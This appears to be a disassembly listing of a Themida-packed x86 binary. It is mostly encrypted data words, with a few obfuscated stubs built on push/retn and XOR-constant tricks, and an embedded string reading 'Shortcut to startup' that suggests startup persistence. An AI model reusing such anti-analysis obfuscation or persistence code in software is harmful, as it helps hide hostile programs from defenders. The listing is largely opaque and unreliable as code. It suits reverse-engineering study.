		dd 61124h, 53501774h, 403B8h, 49858900h, 8D06110Ah, 13AF319Dh
		dd 5BD3FF06h, 95316058h, 61125D5h, 83009FB8h, 958B6162h
		dd 6110AB1h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 7C204EC3h, 2C7D9D01h, 870F0611h
		dd 3, 61CF8B66h, 14E8h,	53616400h, 0FCBFF455h, 7C4BD77Ah
		dd 96DB717h, 36879838h,	0D1BF0FDAh, 81C18B5Bh, 6650C3h
		dd 19626800h, 0DE90000h, 59000000h, 8AB78E5Ch, 0B06E30DAh
		dd 2B1DBEC4h, 0E1858B59h, 0FF06110Fh, 7E85733h,	3E000000h
		dd 6314E0BCh, 0BA664F00h, 5A5F303Eh, 1958B5Eh, 81061113h
		dd 0CF600BF6h, 12E945h,	0D1540000h, 0A16AE8D7h,	210B7902h
		dd 13267987h, 80BB3E7Bh, 0AED4EE81h, 7EBF41F7h,	811DBBB2h
		dd 56451C6h, 11E906h, 0B9850000h, 0CB5DAFACh, 0B56AB4D3h
		dd 0B97DD1DAh, 89A6D074h, 5AEA8133h, 81623010h,	0DD7857EBh
		dd 9D895604h, 6111D5Dh,	53C3815Ah, 0BA04DD78h, 41D7C58h
		dd 78850F49h, 29FFFFFFh, 1121959Dh, 978D8D06h, 89061662h
		dd 11246D9Dh, 8E906h, 40460000h, 13E21F0h, 8D892948h, 611285Dh
		dd 934EE81h, 0BD297474h, 6111D0Dh, 2DD185C7h, 63880611h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 6CD478C3h, 1F4E0D51h, 298503h, 85C70611h
		dd 6112709h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_59FE03
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59FE03	proc near		; CODE XREF: Themida_:0059FDFBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_59FE03	endp

; ---------------------------------------------------------------------------
		db 8Eh
		dd 0C1D82A26h, 0E9292C94h, 11h,	8107072Dh, 0FD647B81h
		dd 0E8A44FE0h, 0BE397F1h, 49B5FF73h, 6006112Ch,	6859D29h
		dd 81660611h, 619A6AF6h, 1DA995FFh, 8B0F0611h, 6, 7ED8529h
		dd 6A0611h, 5C595FFh, 0C08B0611h, 384E4EEBh, 0E05D8267h
		dd 9376E6EFh, 0C20CFC19h, 759392ABh, 81C1AFA0h,	0CED18DBBh
		dd 0E0E78FAAh, 1F342789h, 8390887Ah, 0BD750EA8h, 82561B6Eh
		dd 0BC1CEF36h, 0E37FF0DEh, 737F00B3h, 0C778BD07h, 4758A9BFh
		dd 0BCB3BF91h, 8555EA87h, 4849D208h, 0BE8h, 572F3D00h
		dd 260F9A18h, 7538DCD9h, 0DE9h,	40D0FE00h, 723FA81Ah, 5965A00Bh
		dd 0F959B5A7h, 5DB4C181h, 952B0000h, 6113285h, 0B8h, 11E800h
		dd 8D650000h, 395AD24Bh, 0CDFA8DDAh, 3B65CAB3h,	29D74BB0h
		dd 11230995h, 1C8B5F06h, 7820F01h, 56000000h, 3AFE32BFh
		dd 0EB815E31h, 7FB714A5h, 0AEDBD89h, 0C3810611h, 8B5727Ah
		dd 28498531h, 0F3810611h, 2B68A1C6h, 66011C89h,	6060F38Bh
		dd 26D1BD8Bh, 0B5890611h, 6110819h, 0E8836161h,	0BEBF6603h
		dd 14E94874h, 0C000000h, 9AF7EF57h, 8188C184h, 76A44DBCh
		dd 151B8331h, 81ABBA23h, 0FFA33CF8h, 1A850FFFh,	0BA000000h
		dd 32B73448h, 2CE9h, 1501B500h,	8CD8AFC1h, 0C283E288h
		dd 769463C8h, 68F0FA1h,	9000000h, 110A61BDh, 0FF64E906h
		dd 9F38FFFFh, 405BD92Fh, 193340FFh, 0E98D8D5Ch,	0F061664h
		dd 8D89FEB7h, 611285Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 8C35747h, 0E57777C9h,	13E8DA37h, 35000000h
		dd 8D4C24B4h, 0B551044Ch, 734CC29Fh, 9A69D8C2h,	0E851C946h
		dd 0Ah,	9EB3C1B1h, 0B0D49C86h, 585BE4CAh, 0D185C75Bh, 0C006112Dh
		dd 6A000073h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0C744C350h, 11270985h,	6, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0B7E5F720h, 60BE31ABh, 3A1B5FFh, 6A0611h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0D1D80C3h
		dd 95FFE2C2h, 6111DA9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0D0C35646h, 7628EDEDh, 0FC46A49Dh, 95FF006Ah
		dd 61105C5h, 48EBC08Bh,	7DD66F27h, 86C0EAD8h, 5D959ADEh
		dd 5F817D29h, 7428EBD9h, 0B1064BF1h, 0CA5CB57Ch, 0DBE3E7E8h
		dd 0C66D62C3h, 0D09E75C9h, 6EA06E20h, 0E5475C20h, 0A55F7D87h
		dd 622F02C7h, 87048AA1h, 4E89C962h, 75FA6523h, 403BD501h
		dd 2C899D8Dh, 39B80611h, 89000000h, 11203D85h, 0E806h
		dd 5580000h, 0Dh, 39E90389h, 0
		dd 0Dh dup(77E600h), 0FF77E600h, 82E9h,	75AC7400h, 6F685306h
		dd 75637472h, 6F742074h, 61747320h, 70757472h, 1Ah dup(0)
		dd 0E9000000h, 0F0Eh, 16677868h, 0E18EE906h, 0A768FFFBh
		dd 0E9061668h, 0FFFBE184h, 166A2E68h, 0E17AE906h, 7C68FFFBh
		dd 0E906166Ah, 0FFFBE170h, 166B3C68h, 0E166E906h, 0CF68FFFBh
		dd 0E906166Bh, 0FFFBE15Ch, 166FF468h, 0E152E906h, 0AC68FFFBh
		dd 0E9061672h, 0FFFBE148h, 16739168h, 0E13EE906h, 0C7C5FFFBh
		dd 9011B59Dh, 5C58FCD2h, 25A4C80Eh, 0F6F1153Dh,	0F12D6274h
		dd 16382AA5h, 6076F4F2h, 0AFA3BF3Ch, 0F1D9870Bh, 0F28BC940h
		dd 0A388ED07h, 3DBD409Ah, 0E9E95127h, 871F577Bh, 0D5952386h
		dd 0BA950C87h, 0AC90C7ADh, 73345D52h, 5A743AA2h, 771553AFh
		dd 20BF5E2Eh, 1F60B513h, 2E09h,	0F9917D00h, 93AB91F4h
		dd 0A508730Ah, 18B4EBCFh, 950CDE2Ch, 2886EA65h,	77145619h
		dd 0BC018098h, 6149159Ah, 61BE53E0h, 0AD491Fh, 0BDBD0000h
		dd 0E951273Dh, 10387CEEh, 0BA9ED290h, 8262836h,	8EFB65AEh
		dd 99B1AF33h, 0D8D47575h, 0AA39268Ah, 0EA5C71D7h, 41618226h
		dd 175D0F89h, 1460A608h, 0AE2A717Ch, 6AF367C6h,	190E401Fh
		dd 0D8BB231h, 7F0A195Fh, 9AA33B3Bh, 0EF9189C7h,	89C66CE2h
		dd 0D1910C32h, 26A0A6F9h, 0F1F90D7Dh, 0D36E50ABh, 4288E9Dh
		dd 8EE1D989h, 0BE64EF6h, 0D0A7F2Dh, 0C7C50000h,	9011B59Dh
		dd 5C58FCD2h, 25A4C80Eh, 0F6F1153Dh, 0F12D6274h, 16382AA5h
		dd 6076F4F2h, 0AFA3BF3Ch, 0F1D9870Bh, 0F28BC940h, 0A388ED06h
		dd 42BD409Ah, 68A2E20h,	91EE7658h, 5A91F4F9h, 61B44907h
		dd 72ED8EFBh, 85A2923Ch, 0F5C8950Ch, 5E12504Dh,	0BDFA83C1h
		dd 0ACBB7715h, 0FBB1AECAh, 15BD2CDDh, 3CDDAD77h, 616290DDh
		dd 0F88A1Fh, 0BDFA0000h, 0E951273Dh, 0E3387CEEh, 0F3CD0F5Dh
		dd 0AD2E2C5Eh, 0D16CFBB1h, 27D53F99h, 0E6EA8EFBh, 97224043h
		dd 0FC9B1F43h, 675158B1h, 0EDAE1314h, 1748EF65h, 0FF347817h
		dd 0A80C5A5Bh, 0E77FF7BBh, 3FBF83E6h, 0BA164921h, 950CD5DAh
		dd 51A3C2Bh, 0DD8D08CEh, 0B14C8897h, 0E07714EFh, 99A41077h
		dd 0D87714EFh, 0B32B2B8Fh, 3480D7AAh, 7714EF09h, 0EF586553h
		dd 4E197714h, 0B1B12C40h, 0C41B4C22h, 90E68402h, 0E09E1326h
		dd 13CC626Ch, 8A18F340h, 267D40DFh, 77D8E5D3h, 0CE997D20h
		dd 2077FB82h, 0C5ADBA7Dh, 3131AC92h, 32C20619h,	0D624C072h
		dd 209F83F7h, 57FD1C42h, 92D4E650h, 0BDBD4h, 0CA981A00h
		dd 35F6084h, 3D2BABCFh,	70F2F115h, 0AFBB3A5Eh, 0F2BA14ABh
		dd 3F6377F3h, 0BAFA3C1h, 56FADC8Ah, 0ABCA0C52h,	92DD0FCh
		dd 0F57488EDh, 2042BD6Dh, 58068A2Eh, 3DBDEE76h,	0FAFE4027h
		dd 5F131064h, 0B3B13119h, 0BEBF579Fh, 0FD6367EBh, 91C6A8B7h
		dd 0C7EEF23h, 8F133795h, 0E27D99D1h, 710C489Fh,	20771583h
		dd 9F3D4337h, 771583E2h, 1B7A1B63h, 1F61694Eh, 74Ch, 11C7B800h
		dd 2F000008h, 91F4F991h, 0C6BBF23h, 0CDA3BC95h,	0DBFF6565h
		dd 472D33B7h, 0D1713269h, 34D5310Fh, 60D37878h,	0B7890ED7h
		dd 67038254h, 53871211h, 98EAB2Fh, 75001F55h, 0BCAE282Eh
		dd 0C1076BF8h, 3E24A4AAh, 8BD7D67Ah, 6C1CBAFCh,	0CA1C51A4h
		dd 636719F8h, 1FA0A6FDh, 274B6F43h, 0D9F7BDA3h,	1C51A42Dh
		dd 0E8553488h, 0BC0FCA64h, 0F6B82301h, 0AC2B4E52h, 5756FABEh
		dd 2BC6A50Bh, 8501C99Ch, 0F782E0DCh, 0E8CCA281h, 5A1E4444h
		dd 643B42DAh, 0B89AA311h, 8CDB1C51h, 4FC7F52Ah,	8407A6AAh
		dd 0F7387CBh, 0EBE92CA4h, 262A7D2h, 6239D483h, 95A18A56h
		dd 32B7DB19h, 3C2AAA2Ch, 0D45CEB78h, 84FDC8F6h,	0D8E57DEBh
		dd 0BD9B3785h, 0BCF33D7Bh, 9DBA6D10h, 63FFFC2Ch, 2A462827h
		dd 4DD88606h, 7677EF67h, 0E13A513h, 30443769h, 58068AB1h
		dd 0ED78E7CDh, 3230B096h, 6AF8F81Ch, 0C6DF2F74h, 0F6B4F28Eh
		dd 0A54h, 7F531193h, 4688D6DBh,	92C4A222h, 0E3F76B6Eh
		dd 2C2240BFh, 78773F9Bh, 4640E4EAh, 0D8E3224h, 0D5D57951h
		dd 7F2A4B8Fh, 0ED0BAC51h, 0EA74F588h, 69EF3DBDh, 4970AD96h
		dd 31CC0819h, 608EFB2Eh, 2B6658F7h, 0EAF274C7h,	0A06DE8Ch
		dd 0C3C10000h, 8405A9A1h, 5854F8DEh, 21A0C40Ah,	0EAE50941h
		dd 0E5215678h, 0A4C1E99h, 547AE8E6h, 0A3B7B330h, 0EDE57B7Fh
		dd 0F6F7C544h, 0AF88ED0Bh, 3DBD449Eh, 0EEE95127h, 7DC55A7Ch
		dd 0A88EE280h, 0CA62E8A8h, 0BCF281A7h, 0F76FC888h, 0C52593F6h
		dd 2A950C3Bh, 2995BB3Dh, 6AA957EFh, 3894EBF2h, 0AD3D98A8h
		dd 4ACAAEB9h, 52F4CBD2h, 0DA21452h, 28D5E336h, 89BCDB99h
		dd 12115CE7h, 0D2619AAAh, 473CC18Fh, 0EA65BCDBh, 0F3982A84h
		dd 4EF2A72Fh, 2F353F51h, 58B4FA03h, 0DD65B80Fh,	0B2BDBAE1h
		dd 664CA3B9h, 3086E5CBh, 80D68C0Ch, 7E3F5C5Ch, 6CD00463h
		dd 0E1DA0C9Bh, 0C1E7FF8h, 9467C2Ah, 3810000h, 0C4C56961h
		dd 9814B89Eh, 616084CAh, 2AA5C901h, 25E11638h, 0CA0C5E59h
		dd 143A28A6h, 6377F3F0h, 0ADA5BB3Fh, 0B6B70504h, 0EF88ED0Ah
		dd 3DBD045Eh, 0ECE95127h, 2FBE587Eh, 0D28EFB61h, 0E78E083Ah
		dd 8AEE7DE3h, 1DBB0E9Dh, 9511C6F7h, 16388FD8h, 668ACC92h
		dd 63B8FC62h, 0FB9DA02Ch, 0A0E7712h, 379FF0C7h,	5327305Eh
		dd 2F72F0EFh, 0BACEC029h, 30ADFCD3h, 52E17E32h,	0E8BC410Fh
		dd 6AE57712h, 5D5EC204h, 0E8D901h, 3771EC5Eh, 8B369h, 0F2707200h
		dd 2B37B8DCh, 65038327h, 98CAC96Dh, 0D79312B6h,	0CA924C83h
		dd 17BB9FCBh, 6387CB99h, 0AED20462h, 0F322342Ah, 0A053894h
		dd 2D5C88EDh, 0EF3DBD95h, 0FB61DCE1h, 3FCA858Eh, 93D1D179h
		dd 99784ADDh, 557DE3E7h, 72875FECh, 37BA9C25h, 70E6452Bh
		dd 0AC82F476h, 510h, 0D884E18h,	851D155Dh, 1972578h, 569511C6h
		dd 1C9CA2F9h, 49C01046h, 11396E42h, 71F3ED94h, 0D9912C3Bh
		dd 8E5695FFh, 0AB6A32F1h, 0EFB21F2Ch, 4C1DA5h, 4E890000h
		dd 61A05D7Bh, 66F18EFBh, 0BB890010h, 0B5253565h, 1C4A4B88h
		dd 98CAC981h, 631AB60Dh, 328EFBD5h, 1C614F25h, 8DAF6277h
		dd 3E62560Ch, 4F1D9BBEh, 3848FCB0h, 0DAA21C59h,	0D48FDC3Bh
		dd 78D050Bh, 0F9000000h, 245C7h, 884E2F00h, 1115909h, 0E83EBE88h
		dd 0FB61D1ECh, 38D7808Eh, 1458F774h, 67CDDCA6h,	9CA2C508h
		dd 3ECF8D1Dh, 670868F5h, 4A065DE8h, 868F5B3h, 0ED3D75E2h
		dd 3FBF832Ch, 15475D18h, 0EA795FAEh, 9BF07D84h,	3CEAAC05h
		dd 5A000000h, 0BFF5F891h, 67CD1011h, 28E9B108h,	6169CA9h
		dd 4C085FACh, 868FDB1h,	2D0377E0h, 0CFh, 80CC0356h, 868FDFDh
		dd 90ADABA4h, 0C10868FDh, 7D3331ADh, 0FCFF53EEh, 91101066h
		dd 5BAEF5F8h, 0A6CF2F7h, 0FB6191ACh, 0BCAEC08Eh, 0C3CB428Ah
		dd 31BF72B7h, 68F2B19Bh, 0C386A715h, 80DF8EFBh,	0BDE7AF5h
		dd 49F0EDD5h, 0CD5A1E4Ch, 0D7D67A3Eh, 7B3131B0h, 0F21B51ECh
		dd 0BE94E1A0h, 381EAF6Eh, 5DCAAEBCh, 685FEC15h,	0B89C2573h
		dd 55758C7Dh, 0C85E107Bh, 57h, 0F5F8913Ch, 3D2DA8AEh, 95962275h
		dd 0CC8EFB61h, 5032B493h, 0D89CCACBh, 0CECD7470h, 0B4432094h
		dd 8C0D9DC0h, 9273A3EBh, 0C3FAD62Dh, 588EFB61h,	0A2B8B6BEh
		dd 2A2565D3h, 0E8303D44h, 142A2572h, 55000000h,	10BCEEEDh
		dd 8EFB0C6Dh, 2A8C1B34h, 10CC73Ah, 0C72F0000h, 0CFh, 0F5F8912Fh
		dd 3F2BA8AEh, 0B187357Bh, 0D6E44BA4h, 0FB48D7B6h, 0E1D0223Fh
		dd 0A2h, 447957AAh, 1D2454D4h, 91F46C42h, 22AEF5F8h
		dd 8EFB611Bh, 70A70D5Ah, 5BDD9BCCh, 239748D0h, 1B8FA4F5h
		dd 0E67C7DAFh, 0B30AE92h, 0E59B1EDBh, 0AB019C48h, 732BEAB8h
		dd 9DF75C07h, 61D16C01h, 0A9B9381Eh, 3615FC3h, 2BEA0274h
		dd 7C014F82h, 255124F2h, 56F3A62Ah, 624CA387h, 0FF68F50Ch
		dd 35520551h, 0D2000000h, 0AEF5F891h, 0FB611B22h, 0A70D5A8Eh
		dd 1B8E1809h, 8199FCh, 5255C491h, 0D5D377B8h, 6C422197h
		dd 15FAh, 0C29FA500h, 1E4C4AFEh, 4607CD5Ah, 0B5AD0503h
		dd 49C7h, 3DBD2F00h, 57635127h,	0EA8EFB61h, 21A1DBBAh
		dd 91D70F43h, 0EE9F3DF8h, 0B78EFB61h, 0B8CE0D98h, 0C140D097h
		dd 0FB6E3205h, 931948Eh, 85E5E089h, 2DA582F6h, 63C0B4AEh
		dd 766CF60Fh, 2502572h,	0D4FFFFFFh, 24BC7h, 7B4E2F00h
		dd 278DD3D7h, 61611C38h, 27308EFBh, 75EBEF53h, 6566E83Fh
		dd 0D8DB1F9h, 5FF36F6Ch, 0B0AF055Bh, 2DA52D25h,	737F5D20h
		dd 950C87h, 86B36157h, 77715BBh, 2A37A667h, 0D11F615Dh
		dd 67F0876Bh, 0DA9C1DCDh, 5144h, 884EC000h, 4D0B5E0Ch
		dd 8EFB61B0h, 300076E1h, 342AAE98h, 7154E340h, 0C85F343h
		dd 50372095h, 0E97C09ECh, 5DF59B32h, 0B5B2065Ch, 0E264BBFDh
		dd 323187E3h, 24A7527Ch, 46267715h, 0CC0B58C7h,	0FD301F60h
		dd 15282EDFh, 96D87777h, 0A280h, 3DBD0400h, 0EEE95127h
		dd 0ACE3387Ch, 113F2BAAh, 8EFB616Ch, 0F0541A35h, 1A3E72F0h
		dd 9186C896h, 793F2DA9h, 0C82A84EAh, 0D18EFB65h, 37BF93D1h
		dd 425A59Fh, 674DD88Ah,	0BA166DF8h, 6AF0EB11h, 8A2AF55Bh
		dd 0F79EAF2Dh, 88C77717h, 0CEBC07C4h, 0E8E88CE8h, 0B698EF7Ah
		dd 83272B37h, 4B606604h, 0CEEC615Eh, 48E3AE8h, 4B490000h
		dd 0C8D3119h, 0E0DC0056h, 0A9284C82h, 726D91B9h, 6DA9DEF0h
		dd 92C4A621h, 0DCF2706Eh, 2B2F3BB8h, 755D0387h,	7E0F4DDCh
		dd 2788ED0Eh, 42BDBC06h, 68A2E20h, 0BDEE7658h, 0FC40273Dh
		dd 2F1C475Ah, 5F60F6ECh, 3269AF03h, 9ED2900Ch, 85052981h
		dd 0D0653AE6h, 0B857F784h, 0C7C65E96h, 11A7ADE0h, 0A7AE9F6h
		dd 0DB4B654Dh, 8950CE5h, 8CBB195Fh, 2A7714E5h, 2174B958h
		dd 14E5EA93h, 0E5830377h, 59F6908Fh, 84890111h,	0F7839321h
		dd 0BED06CE3h, 6A539DAFh, 0C8961A8Bh, 66E887E4h, 0A9B6FA68h
		dd 24BC341Ah, 0E0764219h, 0B166CF53h, 7F7FC3A6h, 0C389D5DAh
		dd 0C2623894h, 0D4FA8901h, 5801FF43h, 0C4A30959h, 50574129h
		dd 0C96333EFh, 0E7B89ECCh, 24BD5C61h, 6AF9BFA3h, 11A15FE6h
		dd 973BD694h, 7644816h,	32F5B3h, 37610000h, 8EFB613Ah
		dd 3F13EA8Fh, 674D1B9Bh, 0FB61B449h, 0A869398Eh, 646AF8F4h
		dd 0D1A7C3C0h, 0FB61D7E3h, 8A0B9B8Eh, 0EB0D5D6h, 0B39BF8B3h
		dd 6BFBDF6Ah, 4E2240BDh, 7B5E9EAh, 8EFB6166h, 0DF95203Fh
		dd 0E5A76644h, 0BA547AE8h, 8EFB748Bh, 6FF27C29h, 0A8EE2572h
		dd 56FFFFFFh, 9B1C3DBDh, 5B5C97FEh, 0D97437ADh,	362CAF93h
		dd 73A80C9Bh, 6ED903Ch,	9BB48EFBh, 0F16F73D7h, 0CF7346D9h
		dd 0B6B795CBh, 278EFB06h, 76F5BBA9h, 0FB7B3F28h, 3E676163h
		dd 5E12A1BDh, 6B24B09h,	74E38EFBh, 20774AD9h, 0ECC2A01Eh
		dd 0CE006C2h, 0C3C35795h, 0B2B02DA5h, 56635127h, 0D7771420h
		dd 0FA47D6B7h, 0E01F61C3h, 33h,	0F4F99164h, 85532391h
		dd 0D780950Ch, 0A844AE1h, 8FD8F458h, 0F4F631AAh, 6F651482h
		dd 84E47715h, 94C99605h, 0CC721F60h, 4FDC90D2h,	10DF56Bh
		dd 4E710000h, 195F0B88h, 80A40Ah, 0AB391F62h, 2AA84794h
		dd 65CD1367h, 8CB4F86Ah, 0CD73560Ch, 0B701FE7Dh, 0D9D47AD7h
		dd 72442389h, 5353F72Ch, 0F9F95D15h, 9F30146Bh,	0BB7A6758h
		dd 2C0DA329h, 1EA163FDh, 785A7458h, 18EFBCEh, 4BEFE381h
		dd 0C3531947h, 287F424Bh, 0F8BCA226h, 0D1A9076Bh, 3D950CCDh
		dd 83E6EB17h, 403F3C2Fh, 0C59FFC5h, 7F9BDF7Bh, 0F08FDDDBh
		dd 0C6FE96DEh, 1DFB1E07h, 82E0DF0Ah, 15F63F7h, 74D82F72h
		dd 0A556A2A4h, 0E5C5BC9h, 70913F73h, 7A6CE04Eh,	1B2267D6h
		dd 68ACCEAh, 89E5CD58h,	48478BDEh, 400CA621h, 7D203EBDh
		dd 98DC6BE4h, 0B5E4C9B2h, 3ECDAA02h, 63491998h,	3D616904h
		dd 9BBEA0C2h, 8AE64FB8h, 1D6FEACh, 93110000h, 5455F9D1h
		dd 28A4C80Eh, 0F1F0143Ah, 0BA355971h, 0B511A6A8h, 5A7CEEE9h
		dd 0A4AAB836h, 0F3E78300h, 3D154B4Fh, 26C7F594h, 7F88ED13h
		dd 42BD74CEh, 68A2E20h,	91EE7658h, 2391F4F9h, 950C8553h
		dd 33E1D780h, 7715BA06h, 0B726E787h, 1F6161AAh,	0C790h
		dd 884E1400h, 8175D0Dh,	60FE82A6h, 0BE80D70Ch, 439273Bh
		dd 5D8EFB61h, 0D88AC02h, 20282164h, 0FB01E994h,	399FC88Eh
		dd 0C35EF58Bh, 5692B6EDh, 220424EAh, 0EBCDEBCFh, 78EFBB1h
		dd 0AEF98430h, 0AFB88EFBh, 0FD6367CBh, 3331B1D5h, 5C61F97Dh
		dd 0A4F74B09h, 2B24950Ch, 0D37AF27h, 0C5F3D68Ch, 7714A438h
		dd 0C53EE79h, 0E0D5C040h, 807D116Ch, 0CE7057E2h, 8CC93CFh
		dd 0C9B6FABCh, 8E328451h, 0CBFF6B6Ah, 0E65100F8h, 0F1456345h
		dd 2C000000h, 7EA2B4AEh, 49EDE579h, 973B1F4Dh, 0E4084E14h
		dd 3E5179E9h, 4D1D98E4h, 85E7E105h, 0BEAC294Dh,	0EE747498h
		dd 0F2DE49E8h, 88ED12CBh, 0BD4B93AAh, 8A2E2042h, 0EE765806h
		dd 0A3AF8A4Eh, 7672964Bh, 85FEA78h, 0FBCBB14Ch,	377E08Eh
		dd 0FE9B1Fh, 82110E62h,	0CE9C1B3Fh, 96DA8808h, 0BB9F2189h
		dd 0D1212937h, 0E9513439h, 0E53A7CEEh, 116C45D7h, 6F451295h
		dd 0B199C7CBh, 0C45E58FEh, 1124F588h, 24B3AC77h, 0BCEAEE52h
		dd 0FA7A0098h, 8ECAF917h, 7711EEFFh, 8537056Ch,	0DFBBB5F0h
		dd 11BFF580h, 76B5DA61h, 0B45C420h, 4DF1D987h, 0F9A1174Dh
		dd 6914A0FAh, 82777C66h, 1D7C648Eh, 0ADBAE466h,	97C3FAD6h
		dd 0C592777Ch, 0A2C24236h, 29A9E3h, 1A6FE585h, 146CE036h
		dd 1ABE902Fh, 0C6E4C896h, 0Ch, 570D5BE1h, 0A413D9EDh, 31C952D2h
		dd 4F253FBDh, 3379E7EBh, 9CD08E0Fh, 44283AB4h, 2B81E1DCh
		dd 96DA8807h, 7D332FB2h, 258BD9D5h, 92E67C7Dh, 0C4D6854h
		dd 3C890000h, 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h
; ---------------------------------------------------------------------------
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		push	50F33A8Ch
		pop	edx
		add	edx, 1
		xor	edx, 56E55CF5h
		mov	ebx, edx
		pop	edx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		add	eax, ecx
		mov	[eax], ebx
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		fcomp	st(7)
		mov	eax, 61674A7h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 1
		dd 1130FB65h, 2769C48Dh, 4C3623EBh, 0A628B402h,	0BE29183Bh
		dd 0F0EEFD5h, 7A68D3BCh, 184FC87Ch, 2730D17Fh, 1D1A4DA6h
		dd 5A3DD153h, 0FA54B42Ah, 74422FFDh, 9B214D93h,	0BA03A58Eh
		dd 0E8015B90h, 10h, 8A43C2B4h, 7EE9E2FEh, 2AECADF1h, 0A56C88C6h
		dd 0B95BE2B0h, 0F7D345Bh, 6B3EC381h, 8A0F0000h,	3, 2BD08B66h
		dd 0C2BF0FF6h, 66333C8Bh, 0EB8CF281h, 651EC781h, 53B46A11h
		dd 6EBDC781h, 8B6624BDh, 0C9EF81CEh, 66102D99h,	2F73E081h
		dd 66333C89h, 0B93AC281h, 0B880Fh, 870F0000h, 5, 92F28166h
		dd 4EE836Fh, 0D08B6660h, 7D4DF381h, 81613276h, 0FF9578FEh
		dd 1A850FFFh, 0F9000000h, 31E9h, 0A3121800h, 2EBAFC7Fh
		dd 880E05C2h, 3D2F03A4h, 5DAC87DEh, 0A8E8817Ah,	0E920B2A4h
		dd 0FFFFFF84h, 76E6EFE0h, 0CFC1993h, 9392ABC2h,	0C1AFA075h
		dd 0B0E9BB81h, 60000000h, 0F6DA8C66h, 850F04C2h, 0Ch, 0ED1853Bh
		dd 840F0611h, 36h, 0B09853Bh, 840F0611h, 2Ah, 1795853Bh
		dd 840F0611h, 1Eh, 3165853Bh, 840F0611h, 12h, 12B1BD83h
		dd 0F010611h, 584h, 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh
		dd 784A8B00h, 840FC985h, 49h, 0F8C281h,	728B0000h, 8BC8030Ch
		dd 518B1C59h, 8BD80314h, 0FC9850Bh, 1084h, 0FCE3B00h, 1782h
		dd 0FCF3B00h, 0F83h, 4C38300h, 0DC850F4Ah, 0E9FFFFFFh
		dd 0Dh,	4E3E9D8Dh, 5B80611h, 0FF000000h, 0BC361E3h, 778D8DD0h
		dd 8B061677h, 11142995h, 5D8D8906h, 8B061128h, 0D185C7F3h
		dd 3806112Dh, 6A000073h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 4BD6C356h, 2BFB300Dh
		dd 0C7FBBF0Fh, 11270985h, 6, 0D0816600h, 0B5FFA48Dh, 6111FD1h
		dd 3E5BD89h, 0D3810611h, 6FC33599h, 1DA995FFh, 6A0611h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 6AC9C3h, 5C595FFh, 0C08B0611h, 68752DEBh, 0AFBE4649h
		dd 9E73687Fh, 1BF1A4C6h, 208144D3h, 0E958EBA9h,	8DB5AFD4h
		dd 92DDFD9Bh, 0CFBD9CA5h, 554E2349h, 0A34FB501h, 0EB342A6Ah
		dd 60h,	17h dup(0)
		dd 0AB8E900h, 0ACE90000h, 6800000Ah, 6167F88h, 0FB05DEE9h
		dd 809868FFh, 0D4E90616h, 68FFFB05h, 61680EBh, 0FB05CAE9h
		dd 0FDF270FFh, 0D9D60D97h, 3B343173h, 1916D355h, 7E71F133h
		dd 0B7668F18h, 4CD6BCB3h, 6FB99F90h, 0B9DF3FCh,	3680D6D9h
		dd 14A555FAh, 0F1A2C980h, 0ECE367BDh, 314B2F11h, 0DC8C8343h
		dd 0C94E8346h, 0CF968D19h, 0C64922Eh, 3A2A7A5Dh, 49057A5h
		dd 2C46F505h, 71EF3E31h, 291B8DC3h, 42FDC726h, 0F864B04Dh
		dd 0C4D9D613h, 0C51FEE1Ch, 7976F61Dh, 0FF0EBCA4h, 0FAF57183h
		dd 0FBF46CB6h, 606FDA22h, 0D013619Dh, 0DC095BDFh, 75F2CAD3h
		dd 42AEA37Ah, 0B0355A16h, 0A9D5AC1Fh, 6ED52F1Bh, 0A70E2B61h
		dd 669087F3h, 0EDC97FFAh, 0B6504E5Fh, 0B8AF6090h, 0ECEA56B7h
		dd 196B3C70h, 154F232Ch, 1C6E242Bh, 0DC8E8143h,	6EB4C4C8h
		dd 0D7F403Ah, 0CDE3B39Bh, 2D1F12h, 0B4AD0000h, 65403A6Eh
		dd 968C44F2h, 0C5B5C3CFh, 97B294DBh, 0D47B8A82h, 0CF965226h
		dd 19118F3Dh, 432765E3h, 7BD18B84h, 1BAD09h, 0B4FF0000h
		dd 65403A6Eh, 968C44F2h, 530D3BCFh, 0D4DB0F65h,	43FA205Ch
		dd 7BD18B84h, 386CB409h, 0AB3CC748h, 0F301D5A7h, 6EFB2F2Ah
		dd 0D64AC985h, 0F16B534Dh, 0B02709DCh, 0F5000001h, 4D3D69B4h
		dd 968D24CAh, 252270CFh, 56DD32Ah, 0F6221EAAh, 968CB161h
		dd 763AB6CFh, 80F7BA7h,	0CF968CDAh, 0D57DB69h, 40B38D3h
		dd 99C947F9h, 0A2D6D90Bh, 0B3B6CC3Ch, 0BBFF61BCh, 8E814341h
		dd 0CCCAC8DCh, 0B607E624h, 42F06722h, 0C1CF9688h, 1F6D05B3h
